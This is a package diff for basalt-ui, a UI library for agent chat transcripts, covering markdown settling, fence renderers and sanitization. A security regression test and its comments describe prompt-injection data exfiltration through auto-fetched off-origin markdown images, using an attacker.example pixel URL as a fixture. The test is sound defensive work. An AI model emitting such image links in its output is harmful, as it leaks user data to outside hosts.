basalt-ui 1.11.0 → 1.12.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +21 -21
- package/CHANGELOG.md +15 -0
- package/README.md +36 -27
- package/agent/rules/basalt-content.md +16 -3
- package/dist/agent/adapter.d.ts +146 -0
- package/dist/agent/adapter.d.ts.map +1 -0
- package/dist/agent/adapter.js +473 -0
- package/dist/agent/adapter.test.d.ts +2 -0
- package/dist/agent/adapter.test.d.ts.map +1 -0
- package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
- package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
- package/dist/agent/coalesce.d.ts +20 -4
- package/dist/agent/coalesce.d.ts.map +1 -1
- package/dist/agent/coalesce.js +76 -8
- package/dist/agent/coalesce.test.d.ts +2 -0
- package/dist/agent/coalesce.test.d.ts.map +1 -0
- package/dist/agent/foreign.test.d.ts +2 -0
- package/dist/agent/foreign.test.d.ts.map +1 -0
- package/dist/agent/id.d.ts +30 -0
- package/dist/agent/id.d.ts.map +1 -1
- package/dist/agent/id.js +16 -0
- package/dist/agent/id.test.d.ts +2 -0
- package/dist/agent/id.test.d.ts.map +1 -0
- package/dist/agent/index.d.ts +2 -0
- package/dist/agent/index.d.ts.map +1 -1
- package/dist/agent/index.js +3 -0
- package/dist/agent/merge.d.ts.map +1 -1
- package/dist/agent/merge.js +19 -7
- package/dist/agent/merge.test.d.ts +2 -0
- package/dist/agent/merge.test.d.ts.map +1 -0
- package/dist/agent/part-list.d.ts +49 -34
- package/dist/agent/part-list.d.ts.map +1 -1
- package/dist/agent/part-list.js +42 -6
- package/dist/agent/part-list.test.d.ts +2 -0
- package/dist/agent/part-list.test.d.ts.map +1 -0
- package/dist/agent/parts.d.ts +46 -10
- package/dist/agent/parts.d.ts.map +1 -1
- package/dist/agent/parts.js +16 -6
- package/dist/agent/parts.test.d.ts +2 -0
- package/dist/agent/parts.test.d.ts.map +1 -0
- package/dist/agent/thread.d.ts +14 -0
- package/dist/agent/thread.d.ts.map +1 -1
- package/dist/agent/thread.js +8 -2
- package/dist/agent/thread.test.d.ts +2 -0
- package/dist/agent/thread.test.d.ts.map +1 -0
- package/dist/agent/transport.test.d.ts +2 -0
- package/dist/agent/transport.test.d.ts.map +1 -0
- package/dist/agent/use-agent-stream.test.d.ts +2 -0
- package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
- package/dist/agent-chat/composer.d.ts +130 -8
- package/dist/agent-chat/composer.d.ts.map +1 -1
- package/dist/agent-chat/composer.js +189 -23
- package/dist/agent-chat/composer.test.d.ts +2 -0
- package/dist/agent-chat/composer.test.d.ts.map +1 -0
- package/dist/agent-chat/index.d.ts +1 -1
- package/dist/agent-chat/index.d.ts.map +1 -1
- package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
- package/dist/agent-chat/thread-detail-panel.js +1 -1
- package/dist/agent-chat/thread-message.d.ts.map +1 -1
- package/dist/agent-chat/thread-message.js +14 -3
- package/dist/agent-chat/thread-message.test.d.ts +2 -0
- package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
- package/dist/agent-chat/thread-workspace.js +1 -1
- package/dist/agent-chat/tool-chip.test.d.ts +2 -0
- package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
- package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
- package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
- package/dist/charts/utils/domain.test.d.ts +2 -0
- package/dist/charts/utils/domain.test.d.ts.map +1 -0
- package/dist/cli/check-theme.test.d.ts +2 -0
- package/dist/cli/check-theme.test.d.ts.map +1 -0
- package/dist/cli/help.test.d.ts +2 -0
- package/dist/cli/help.test.d.ts.map +1 -0
- package/dist/cli/index.d.ts.map +1 -1
- package/dist/cli/init-sync.test.d.ts +2 -0
- package/dist/cli/init-sync.test.d.ts.map +1 -0
- package/dist/cli/placement-engine.test.d.ts +2 -0
- package/dist/cli/placement-engine.test.d.ts.map +1 -0
- package/dist/cli/tarball-parity.test.d.ts +2 -0
- package/dist/cli/tarball-parity.test.d.ts.map +1 -0
- package/dist/cli/template-format.test.d.ts +2 -0
- package/dist/cli/template-format.test.d.ts.map +1 -0
- package/dist/cli/template-ledger.test.d.ts +2 -0
- package/dist/cli/template-ledger.test.d.ts.map +1 -0
- package/dist/cli/tokens-css.test.d.ts +2 -0
- package/dist/cli/tokens-css.test.d.ts.map +1 -0
- package/dist/content/article-actions.test.d.ts +2 -0
- package/dist/content/article-actions.test.d.ts.map +1 -0
- package/dist/content/article-model.test.d.ts +2 -0
- package/dist/content/article-model.test.d.ts.map +1 -0
- package/dist/content/block-split.test.d.ts +2 -0
- package/dist/content/block-split.test.d.ts.map +1 -0
- package/dist/content/fence-block.d.ts +37 -10
- package/dist/content/fence-block.d.ts.map +1 -1
- package/dist/content/fence-block.js +80 -14
- package/dist/content/heading-components.d.ts.map +1 -1
- package/dist/content/heading-components.js +7 -4
- package/dist/content/heading-components.test.d.ts +2 -0
- package/dist/content/heading-components.test.d.ts.map +1 -0
- package/dist/content/index.d.ts +6 -3
- package/dist/content/index.d.ts.map +1 -1
- package/dist/content/index.js +5 -1
- package/dist/content/markdown.d.ts +101 -14
- package/dist/content/markdown.d.ts.map +1 -1
- package/dist/content/markdown.js +141 -28
- package/dist/content/markdown.test.d.ts +2 -0
- package/dist/content/markdown.test.d.ts.map +1 -0
- package/dist/content/prose.module.css.test.d.ts +2 -0
- package/dist/content/prose.module.css.test.d.ts.map +1 -0
- package/dist/content/sanitize.d.ts +170 -0
- package/dist/content/sanitize.d.ts.map +1 -0
- package/dist/content/sanitize.js +178 -0
- package/dist/content/sanitize.test.d.ts +2 -0
- package/dist/content/sanitize.test.d.ts.map +1 -0
- package/dist/content/slug.test.d.ts +2 -0
- package/dist/content/slug.test.d.ts.map +1 -0
- package/dist/dashboard/stat-card.test.d.ts +2 -0
- package/dist/dashboard/stat-card.test.d.ts.map +1 -0
- package/dist/guard/check-source.test.d.ts +2 -0
- package/dist/guard/check-source.test.d.ts.map +1 -0
- package/dist/guard/guard-hook.test.d.ts +2 -0
- package/dist/guard/guard-hook.test.d.ts.map +1 -0
- package/dist/index.d.ts +3 -3
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +9 -1
- package/dist/provider/index.test.d.ts +2 -0
- package/dist/provider/index.test.d.ts.map +1 -0
- package/dist/provider/lab-theme.test.d.ts +2 -0
- package/dist/provider/lab-theme.test.d.ts.map +1 -0
- package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
- package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
- package/dist/styles.floor.test.d.ts +2 -0
- package/dist/styles.floor.test.d.ts.map +1 -0
- package/dist/surfaces.d.ts +4 -4
- package/dist/surfaces.d.ts.map +1 -1
- package/dist/surfaces.js +12 -3
- package/dist/theme/border-coverage.test.d.ts +18 -0
- package/dist/theme/border-coverage.test.d.ts.map +1 -0
- package/dist/theme/contrast.test.d.ts +2 -0
- package/dist/theme/contrast.test.d.ts.map +1 -0
- package/dist/theme/density-option.test.d.ts +2 -0
- package/dist/theme/density-option.test.d.ts.map +1 -0
- package/dist/theme/density-relations.test.d.ts +2 -0
- package/dist/theme/density-relations.test.d.ts.map +1 -0
- package/dist/theme/derive-theme.test.d.ts +2 -0
- package/dist/theme/derive-theme.test.d.ts.map +1 -0
- package/dist/theme/fonts-option.test.d.ts +2 -0
- package/dist/theme/fonts-option.test.d.ts.map +1 -0
- package/dist/theme/radius-option.test.d.ts +2 -0
- package/dist/theme/radius-option.test.d.ts.map +1 -0
- package/dist/theme/radius.test.d.ts +2 -0
- package/dist/theme/radius.test.d.ts.map +1 -0
- package/dist/theme/shadow-surfaces.test.d.ts +26 -0
- package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
- package/dist/theme/spacing.test.d.ts +2 -0
- package/dist/theme/spacing.test.d.ts.map +1 -0
- package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
- package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
- package/dist/theme-lab/derive-controls.test.d.ts +2 -0
- package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
- package/dist/theme-lab/derive-state.test.d.ts +2 -0
- package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
- package/dist/theme-lab/theme-lab.test.d.ts +2 -0
- package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
- package/dist/tokens/build-fonts-css.test.d.ts +2 -0
- package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
- package/dist/tokens/build-radius-css.test.d.ts +2 -0
- package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
- package/dist/tokens/density.test.d.ts +2 -0
- package/dist/tokens/density.test.d.ts.map +1 -0
- package/dist/tokens/derive-radius.test.d.ts +2 -0
- package/dist/tokens/derive-radius.test.d.ts.map +1 -0
- package/dist/tokens/derive.test.d.ts +2 -0
- package/dist/tokens/derive.test.d.ts.map +1 -0
- package/dist/tokens/palette.test.d.ts +2 -0
- package/dist/tokens/palette.test.d.ts.map +1 -0
- package/dist/vite-color-mix.test.d.ts +2 -0
- package/dist/vite-color-mix.test.d.ts.map +1 -0
- package/dist/vite.test.d.ts +2 -0
- package/dist/vite.test.d.ts.map +1 -0
- package/llms.txt +6 -6
- package/package.json +6 -1
- package/src/agent/adapter.test.ts +1403 -0
- package/src/agent/adapter.ts +887 -0
- package/src/agent/ai-sdk-transport.test.ts +53 -26
- package/src/agent/coalesce.test.ts +202 -9
- package/src/agent/coalesce.ts +126 -15
- package/src/agent/foreign.test.ts +5 -1
- package/src/agent/id.test.ts +6 -2
- package/src/agent/id.ts +48 -0
- package/src/agent/index.ts +8 -0
- package/src/agent/merge.test.ts +87 -0
- package/src/agent/merge.ts +57 -10
- package/src/agent/part-list.test.tsx +31 -1
- package/src/agent/part-list.tsx +77 -29
- package/src/agent/parts.test.ts +121 -4
- package/src/agent/parts.ts +78 -17
- package/src/agent/thread.test.ts +75 -2
- package/src/agent/thread.ts +21 -1
- package/src/agent/use-agent-stream.test.tsx +9 -5
- package/src/agent/use-agent-thread-runs.foreign.test.tsx +5 -0
- package/src/agent/use-agent-thread-runs.resume.test.tsx +16 -11
- package/src/agent/use-agent-thread-runs.test.tsx +30 -17
- package/src/agent/use-agent-thread-runs.wedge.test.tsx +13 -7
- package/src/agent-chat/composer.test.tsx +924 -0
- package/src/agent-chat/composer.tsx +521 -52
- package/src/agent-chat/index.ts +1 -1
- package/src/agent-chat/thread-detail-panel.tsx +3 -1
- package/src/agent-chat/thread-message.test.tsx +141 -1
- package/src/agent-chat/thread-message.tsx +29 -4
- package/src/agent-chat/thread-workspace.tsx +1 -1
- package/src/cli/index.ts +0 -1
- package/src/cli/template-format.test.ts +2 -2
- package/src/content/fence-block.tsx +242 -15
- package/src/content/heading-components.test.tsx +65 -0
- package/src/content/heading-components.tsx +26 -5
- package/src/content/index.ts +19 -3
- package/src/content/markdown.test.tsx +603 -0
- package/src/content/markdown.tsx +355 -35
- package/src/content/sanitize.test.ts +659 -0
- package/src/content/sanitize.ts +510 -0
- package/src/dashboard/stat-card.test.tsx +6 -1
- package/src/index.ts +13 -1
- package/src/surfaces.ts +12 -3
- package/src/theme/contrast.test.ts +1 -4
- package/src/theme/density-relations.test.ts +4 -2
- package/src/theme/fonts-option.test.ts +7 -1
- package/src/theme/shadow-surfaces.test.ts +12 -6
- package/src/theme/use-basalt-spacing.test.tsx +2 -1
|
@@ -21,7 +21,10 @@ function withNodeEnv<T>(value: string, fn: () => T): T {
|
|
|
21
21
|
try {
|
|
22
22
|
return fn()
|
|
23
23
|
} finally {
|
|
24
|
-
|
|
24
|
+
// `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
|
|
25
|
+
// signature isn't valid, so restore by deleting the key instead.
|
|
26
|
+
if (original === undefined) delete process.env['NODE_ENV']
|
|
27
|
+
else process.env['NODE_ENV'] = original
|
|
25
28
|
}
|
|
26
29
|
}
|
|
27
30
|
|
|
@@ -177,6 +180,143 @@ describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
|
|
|
177
180
|
})
|
|
178
181
|
})
|
|
179
182
|
|
|
183
|
+
// ── The settle fix ────────────────────────────────────────────────────────────
|
|
184
|
+
//
|
|
185
|
+
// `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
|
|
186
|
+
// tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
|
|
187
|
+
// visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
|
|
188
|
+
// and the last block of every finished message permanently hid its copy action.
|
|
189
|
+
|
|
190
|
+
const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n A --> B\n```'
|
|
191
|
+
const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
|
|
192
|
+
|
|
193
|
+
function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
|
|
194
|
+
return [
|
|
195
|
+
{ id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
|
|
196
|
+
]
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
describe('settled threading — a finished message settles its FINAL block', () => {
|
|
200
|
+
test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
|
|
201
|
+
render(
|
|
202
|
+
<MantineProvider>
|
|
203
|
+
<ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
|
|
204
|
+
</MantineProvider>,
|
|
205
|
+
)
|
|
206
|
+
|
|
207
|
+
// MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
|
|
208
|
+
// plain <pre> instead.
|
|
209
|
+
expect(await screen.findByRole('img')).toBeDefined()
|
|
210
|
+
})
|
|
211
|
+
|
|
212
|
+
test('the final block keeps its copy action', async () => {
|
|
213
|
+
render(
|
|
214
|
+
<MantineProvider>
|
|
215
|
+
<ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
|
|
216
|
+
</MantineProvider>,
|
|
217
|
+
)
|
|
218
|
+
|
|
219
|
+
await screen.findByText('final body')
|
|
220
|
+
expect(screen.getByLabelText('Copy code')).toBeDefined()
|
|
221
|
+
})
|
|
222
|
+
})
|
|
223
|
+
|
|
224
|
+
describe('settled threading — a streaming message leaves its tail unsettled', () => {
|
|
225
|
+
test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
|
|
226
|
+
render(
|
|
227
|
+
<MantineProvider>
|
|
228
|
+
<ThreadTranscript
|
|
229
|
+
messages={[]}
|
|
230
|
+
liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
|
|
231
|
+
liveStatus="streaming"
|
|
232
|
+
/>
|
|
233
|
+
</MantineProvider>,
|
|
234
|
+
)
|
|
235
|
+
|
|
236
|
+
const code = await screen.findByText(/graph TD/)
|
|
237
|
+
expect(code.closest('pre')).not.toBeNull()
|
|
238
|
+
expect(screen.queryByRole('img')).toBeNull()
|
|
239
|
+
expect(screen.queryByLabelText('Copy code')).toBeNull()
|
|
240
|
+
})
|
|
241
|
+
|
|
242
|
+
test('the same message settles once the run stops streaming', async () => {
|
|
243
|
+
const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
|
|
244
|
+
const { rerender } = render(
|
|
245
|
+
<MantineProvider>
|
|
246
|
+
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
|
|
247
|
+
</MantineProvider>,
|
|
248
|
+
)
|
|
249
|
+
|
|
250
|
+
await screen.findByText(/graph TD/)
|
|
251
|
+
expect(screen.queryByRole('img')).toBeNull()
|
|
252
|
+
|
|
253
|
+
// Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
|
|
254
|
+
// must not swallow this final transition (it compares `streaming` explicitly).
|
|
255
|
+
rerender(
|
|
256
|
+
<MantineProvider>
|
|
257
|
+
<ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
|
|
258
|
+
</MantineProvider>,
|
|
259
|
+
)
|
|
260
|
+
|
|
261
|
+
expect(await screen.findByRole('img')).toBeDefined()
|
|
262
|
+
})
|
|
263
|
+
})
|
|
264
|
+
|
|
265
|
+
// ── Image exfiltration guard ──────────────────────────────────────────────────
|
|
266
|
+
//
|
|
267
|
+
// THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
|
|
268
|
+
// `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
|
|
269
|
+
// `` fires a GET the
|
|
270
|
+
// moment the transcript paints, with no click and nothing visible.
|
|
271
|
+
//
|
|
272
|
+
// The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
|
|
273
|
+
// settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
|
|
274
|
+
// and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
|
|
275
|
+
// nearly the whole transcript) silently regained the open `https://` default. Trust is a property
|
|
276
|
+
// of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
|
|
277
|
+
// again. The settled case below is the one that regressed.
|
|
278
|
+
|
|
279
|
+
const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
|
|
280
|
+
const IMAGE_DOC = `\n\n`
|
|
281
|
+
|
|
282
|
+
describe('transcript images — agent text is untrusted whether or not it has settled', () => {
|
|
283
|
+
async function renderTranscript(streamingTurn: boolean) {
|
|
284
|
+
const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
|
|
285
|
+
const { container } = render(
|
|
286
|
+
<MantineProvider>
|
|
287
|
+
{streamingTurn ? (
|
|
288
|
+
<ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
|
|
289
|
+
) : (
|
|
290
|
+
<ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
|
|
291
|
+
)}
|
|
292
|
+
</MantineProvider>,
|
|
293
|
+
)
|
|
294
|
+
// `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
|
|
295
|
+
// satisfy it — this waits for the real pipeline, and its success also proves same-origin
|
|
296
|
+
// images still render (an allowlist, not a blanket image kill).
|
|
297
|
+
await screen.findByAltText('local')
|
|
298
|
+
return container
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
|
|
302
|
+
const container = await renderTranscript(false)
|
|
303
|
+
|
|
304
|
+
expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
|
|
305
|
+
// Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
|
|
306
|
+
// not as a src, not as a srcset, not as text.
|
|
307
|
+
expect(screen.queryByAltText('probe')).toBeNull()
|
|
308
|
+
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
309
|
+
expect(container.innerHTML).not.toContain('attacker.example')
|
|
310
|
+
})
|
|
311
|
+
|
|
312
|
+
test('an in-flight assistant turn does not render one either', async () => {
|
|
313
|
+
const container = await renderTranscript(true)
|
|
314
|
+
|
|
315
|
+
expect(container.querySelector('img[src^="https://"]')).toBeNull()
|
|
316
|
+
expect(container.innerHTML).not.toContain('attacker.example')
|
|
317
|
+
})
|
|
318
|
+
})
|
|
319
|
+
|
|
180
320
|
describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
|
|
181
321
|
test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
|
|
182
322
|
const messages = buildMessages(50)
|
|
@@ -65,12 +65,32 @@ const MICRO_LABEL_STYLE = {
|
|
|
65
65
|
|
|
66
66
|
// ── Per-type Mantine renderers ────────────────────────────────────────────────
|
|
67
67
|
|
|
68
|
-
function TextRenderer({
|
|
68
|
+
function TextRenderer({
|
|
69
|
+
part,
|
|
70
|
+
settled,
|
|
71
|
+
}: {
|
|
72
|
+
part: TextPart
|
|
73
|
+
index: number
|
|
74
|
+
settled: boolean
|
|
75
|
+
}): JSX.Element {
|
|
69
76
|
// Markdown wraps its output in Prose (a div carrying chat-density typography). It must NOT be
|
|
70
77
|
// wrapped in a Mantine `Text` (renders a `<p>`) — block elements inside a `<p>` are invalid
|
|
71
78
|
// nesting that the browser auto-closes, scrambling spacing.
|
|
79
|
+
//
|
|
80
|
+
// TWO independent props, and conflating them is what broke this twice:
|
|
81
|
+
//
|
|
82
|
+
// `streaming={!settled}` is the RENDERING mode — NOT a hardcoded `streaming`. Hardcoding it kept
|
|
83
|
+
// `Markdown` in block-split mode forever, and its tail block is unconditionally unsettled: a
|
|
84
|
+
// FINISHED message ending in a ```mermaid fence rendered as a CodeBlock permanently, and the last
|
|
85
|
+
// block of every finished message permanently hid its copy action.
|
|
86
|
+
//
|
|
87
|
+
// `contentTrust="untrusted"` is the SECURITY policy, and it is pinned unconditionally. Transcript
|
|
88
|
+
// text is model-generated whether or not the run is still in flight, and images auto-fetch —
|
|
89
|
+
// `` is the classic prompt-injection exfiltration channel. Letting
|
|
90
|
+
// `streaming` imply the policy meant every SETTLED (i.e. almost every) message silently regained
|
|
91
|
+
// an open `https://` image allowlist the moment the run finished.
|
|
72
92
|
return (
|
|
73
|
-
<Markdown streaming density="chat">
|
|
93
|
+
<Markdown streaming={!settled} contentTrust="untrusted" density="chat">
|
|
74
94
|
{part.text}
|
|
75
95
|
</Markdown>
|
|
76
96
|
)
|
|
@@ -102,7 +122,7 @@ function ReasoningRenderer({ part }: { part: ReasoningPart; index: number }): JS
|
|
|
102
122
|
)
|
|
103
123
|
}
|
|
104
124
|
|
|
105
|
-
// Thin adapter: PartList's per-type renderer signature is `{ part, index }`, ToolChip's is a
|
|
125
|
+
// Thin adapter: PartList's per-type renderer signature is `{ part, index, settled }`, ToolChip's is a
|
|
106
126
|
// richer `ToolChipProps` (defaultExpanded/onApprove/onDeny) that the built-in AgentPart union has
|
|
107
127
|
// no slot for — a 'tool' part reaching this path is always basalt's own six-variant union, never a
|
|
108
128
|
// consumer-registered one, so there is nowhere upstream to source approve/deny handlers from at
|
|
@@ -322,7 +342,12 @@ function MessageBlockImpl({
|
|
|
322
342
|
</Group>
|
|
323
343
|
{segments.map((segment) =>
|
|
324
344
|
segment.kind === 'agent' ? (
|
|
325
|
-
<PartList
|
|
345
|
+
<PartList
|
|
346
|
+
key={segment.key}
|
|
347
|
+
parts={segment.parts}
|
|
348
|
+
components={threadPartRenderers}
|
|
349
|
+
settled={settled}
|
|
350
|
+
/>
|
|
326
351
|
) : (
|
|
327
352
|
<Fragment key={segment.key}>
|
|
328
353
|
{segment.render({
|
|
@@ -139,7 +139,7 @@ export function ThreadWorkspace({
|
|
|
139
139
|
<Divider color="var(--vx-divider)" />
|
|
140
140
|
<Box p="sm">
|
|
141
141
|
<Composer
|
|
142
|
-
onSubmit={handleNewThread}
|
|
142
|
+
onSubmit={({ text }) => handleNewThread(text)}
|
|
143
143
|
{...(newThreadPlaceholder !== undefined ? { placeholder: newThreadPlaceholder } : {})}
|
|
144
144
|
/>
|
|
145
145
|
</Box>
|
package/src/cli/index.ts
CHANGED
|
@@ -2240,7 +2240,6 @@ export async function guardHook(cwd: string = process.cwd()): Promise<number> {
|
|
|
2240
2240
|
try {
|
|
2241
2241
|
// Bun: Bun.stdin.text() drains stdin to a string; under Node fall back to manual drain.
|
|
2242
2242
|
if (typeof (globalThis as Record<string, unknown>)['Bun'] !== 'undefined') {
|
|
2243
|
-
// @ts-expect-error — Bun global, not in @types/bun for this import context
|
|
2244
2243
|
raw = await globalThis['Bun'].stdin.text()
|
|
2245
2244
|
} else {
|
|
2246
2245
|
const chunks: Buffer[] = []
|
|
@@ -46,12 +46,12 @@ describe('shipped managed templates are oxfmt-clean', () => {
|
|
|
46
46
|
expectOxfmtNoop('CLAUDE.md', filled)
|
|
47
47
|
})
|
|
48
48
|
|
|
49
|
-
it.each(RULE_NAMES)('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
|
|
49
|
+
it.each([...RULE_NAMES])('agent/rules/basalt-%s.md (managed) round-trips unchanged', (name) => {
|
|
50
50
|
const content = readFileSync(resolve(PKG_ROOT, `agent/rules/basalt-${name}.md`), 'utf8')
|
|
51
51
|
expectOxfmtNoop(`basalt-${name}.md`, content)
|
|
52
52
|
})
|
|
53
53
|
|
|
54
|
-
it.each(SKILL_NAMES)('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
|
|
54
|
+
it.each([...SKILL_NAMES])('agent/skills/%s/SKILL.md (managed) round-trips unchanged', (name) => {
|
|
55
55
|
const content = readFileSync(resolve(PKG_ROOT, `agent/skills/${name}/SKILL.md`), 'utf8')
|
|
56
56
|
expectOxfmtNoop('SKILL.md', content)
|
|
57
57
|
})
|
|
@@ -1,39 +1,266 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* FenceBlock — renders a fenced code block's hast `pre` node
|
|
2
|
+
* FenceBlock — renders a fenced code block's hast `pre` node through the fence-renderer registry
|
|
3
3
|
* (docs/CONTENT-SPEC.md §2 decision 4 / §6). Shared by every `pre` override `./markdown` builds
|
|
4
4
|
* (one per streamed block, each with its own `settled` flag).
|
|
5
5
|
*
|
|
6
|
-
*
|
|
7
|
-
*
|
|
8
|
-
*
|
|
9
|
-
*
|
|
6
|
+
* ONE mechanism, two sources: a consumer's `fenceRenderers[language]` is consulted first, then
|
|
7
|
+
* `BUILT_IN_FENCE_RENDERERS[language]`, then the plain `CodeBlock` fallback. `mermaid` is no longer
|
|
8
|
+
* a hardcoded branch — it is a built-in entry defined with `settledOnly`, exactly the helper a
|
|
9
|
+
* consumer uses for its own heavyweight renderer.
|
|
10
10
|
*
|
|
11
|
-
*
|
|
11
|
+
* `settledOnly` renderers (mermaid included) render a plain `CodeBlock` while `settled` is `false`
|
|
12
|
+
* (the in-flight streaming tail) and upgrade once the fence's block settles — no flicker, no wasted
|
|
13
|
+
* parse pass on a still-changing diagram. Every fenced language hides its copy action while
|
|
14
|
+
* unsettled for the same reason (copying a still-streaming block is misleading).
|
|
15
|
+
*
|
|
16
|
+
* NEITHER a decline nor a throw may take the message down — a model-authored fence body (JSON for a
|
|
17
|
+
* `vega-lite` renderer, a payload for a `card` renderer, …) is routinely malformed, and this is a
|
|
18
|
+
* render path: the same invariant that made `spliceText` clamp instead of throw and dropped the
|
|
19
|
+
* runtime `assertNever` from `coalesceParts` applies here. `CodeBlock` is always a correct rendering
|
|
20
|
+
* of any fence, which is what makes it safe as the universal fallback:
|
|
21
|
+
* - A renderer returns `undefined` to DECLINE ("I cannot render this, use the default"). `null` is
|
|
22
|
+
* a different, deliberate result — "render nothing" — and is passed through unchanged.
|
|
23
|
+
* - A renderer that THROWS is contained two different ways depending on where the throw happens —
|
|
24
|
+
* see `renderFenceSafely` (a throw from the renderer function itself) and `FenceRenderBoundary` (a
|
|
25
|
+
* throw from a component the renderer merely returns) below — and both fall back to `CodeBlock`
|
|
26
|
+
* with a once-per-fence dev warning (`warnFenceRendererThrew`).
|
|
27
|
+
*
|
|
28
|
+
* `FenceBlock` itself is not part of the public surface; `FenceRenderer`/`FenceRenderContext`/
|
|
29
|
+
* `settledOnly` are, re-exported through `./markdown` (the props that carry them live on
|
|
30
|
+
* `MarkdownProps`).
|
|
12
31
|
*/
|
|
32
|
+
import { Component, useRef } from 'react'
|
|
33
|
+
import type { ReactNode } from 'react'
|
|
13
34
|
import type { Element } from 'hast'
|
|
14
35
|
import { CodeBlock } from './code-block'
|
|
15
36
|
import { extractFenceInfo } from './markdown-hast'
|
|
16
37
|
import { MermaidDiagram } from './mermaid'
|
|
17
38
|
|
|
39
|
+
// ── Public registry types ─────────────────────────────────────────────────────────────────────
|
|
40
|
+
|
|
41
|
+
export type FenceRenderContext = {
|
|
42
|
+
/** The fence body, without the surrounding fence markers. */
|
|
43
|
+
readonly code: string
|
|
44
|
+
/** The info string's first word (` ```ts title="x" ` → `'ts'`), absent on a bare fence. */
|
|
45
|
+
readonly language?: string
|
|
46
|
+
/** Raw meta string after the language on the opening fence line (`'title="x"'` above). */
|
|
47
|
+
readonly meta?: string
|
|
48
|
+
/** Parsed `title="…"` out of `meta` — the filename tab `CodeBlock` renders. */
|
|
49
|
+
readonly title?: string
|
|
50
|
+
/** `false` only for the in-flight tail block of a streaming message. Monotone: never true→false. */
|
|
51
|
+
readonly settled: boolean
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* `undefined` DECLINES — the fence falls back to the default `CodeBlock` rendering, no different
|
|
56
|
+
* from an unclaimed language. `null` is NOT a decline; it is a deliberate "render nothing" result
|
|
57
|
+
* and is used as-is. A renderer that THROWS is also contained and falls back to `CodeBlock` (see the
|
|
58
|
+
* module doc above) — no renderer needs its own try/parse/fallback scaffolding to survive malformed,
|
|
59
|
+
* model-authored fence bodies.
|
|
60
|
+
*/
|
|
61
|
+
export type FenceRenderer = (ctx: FenceRenderContext) => ReactNode
|
|
62
|
+
|
|
63
|
+
/** Fence renderers keyed by language. */
|
|
64
|
+
export type FenceRenderers = Readonly<Record<string, FenceRenderer>>
|
|
65
|
+
|
|
66
